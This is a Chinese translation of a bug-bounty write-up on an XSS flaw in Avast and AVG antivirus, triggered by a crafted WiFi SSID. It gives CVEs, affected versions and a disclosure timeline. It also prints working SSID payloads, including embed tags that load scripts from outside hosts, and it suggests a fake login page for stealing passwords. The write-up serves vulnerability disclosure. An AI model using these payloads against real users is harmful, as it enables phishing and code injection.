Avast杀毒软件中5000美元的XSS漏洞

iso60001  364天前

22.jpg

总结

SSID:无线局域网的标识符(WiFi的名字)

1.利用简单的XSS Payload构造一个SSID名字,你可以参考BruteLogics0md3v

2.在已安装好Avast杀毒软件的电脑上连接无线网络,选择由XSS构成的SSID,等待payload生效。

33.png

3.向Avast报告这个漏洞,几个月后他们决定给我5000美元的奖金。

过程

在以前我曾看过有些研究人员会把XSS插入SSID中,等待其他应用和无线网络进行交互,观察是否有攻击生效迹象,于是我也很快制作了一个特殊SSID的无线网络。

而在几个月前,我得到了一个新的笔记本电脑,在安装完必须软件后,还下载了Avast杀毒软件。此时一切都很正常,没有任何异常。

直到有一天我再次使用这个笔记本来进行学习时,突然网络出现波动,笔记本自动连接到我“特意制作”的WiFi中,几秒钟之内,我的桌面上出现了一个弹框警告https://local.avast.com

当时我异常震惊,完全想不到为何会出现这种事。后来我才发现是Avast的“网络通知功能”在没有进行安全过滤的情况下直接选取了SSID。

我随后立即编写了漏洞报告,发送给Avast。

概要

Avast杀毒软件之所以会提取SSID,是因为它有监控流量的功能,在用户连接到某个新的网络中,就会向用户发出警报。例如下图就是当用户连接上My Hotspot无线网络时的警报。

44.png

此时SSID出现在窗口的中央,这也就是XSS注入的位置。虽然SSID一般有32个字符的长度限制,但是我们还是可以通过其他研究员的智慧进行攻击(Brute LogicS0md3v)。值得一提的是,2013年,Deral Heiland就已在这方面有很深的研究

影响版本

Avast Internet Security的19.3.2369版本和AVG Internet Security的19.3.3084版本均受到影响。

实际应用

你可以伪造一个登录页面,要求用户输入敏感的帐户和密码。由于Avast的存在,普通用户可能因麻痹大意而中招。

55.png

66.png

PoC

1.只需要使用简单的><img src=x onerror=prompt(1)>作为SSID即可。

2.受害者只要连接上攻击者的无线网络,几秒内就会中招。

77.png

88.png

3.由于SSID长度的限制,如果想引用外部脚本,可以使用><embed src=//tiny.cc/XYZABCX>

99.png

100.png

除此之外,还有><embed src=//14.rs>

110.png

演示视频:https://youtu.be/WdqTJp_I8_M

时间线

2019年3月21日:发现了漏洞

2019年3月22日:向bugs@avast.com报告了漏洞

2019年3月25日:Avast确认漏洞的存在

2019年5月24日:Avast询问此漏洞是否已解决(在Avast 19.4中)。

2019年6月12日:Avast认为此漏洞相当严重,因此决定奖励5000美元。

2019年10月30日:Avast上的注入被标记为CVE-2019–18653,AVG上的注入被标记为CVE-2019–18654

最后我想说的是,这个漏洞是在笔记本上发现的,安卓或苹果的移动设备也可能存在类似问题。

参考

感谢你的阅读!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/bugbountywriteup/5-000-usd-xss-issue-at-avast-desktop-antivirus-for-windows-yes-desktop-1e99375f0968

最新评论

昵称
邮箱
提交评论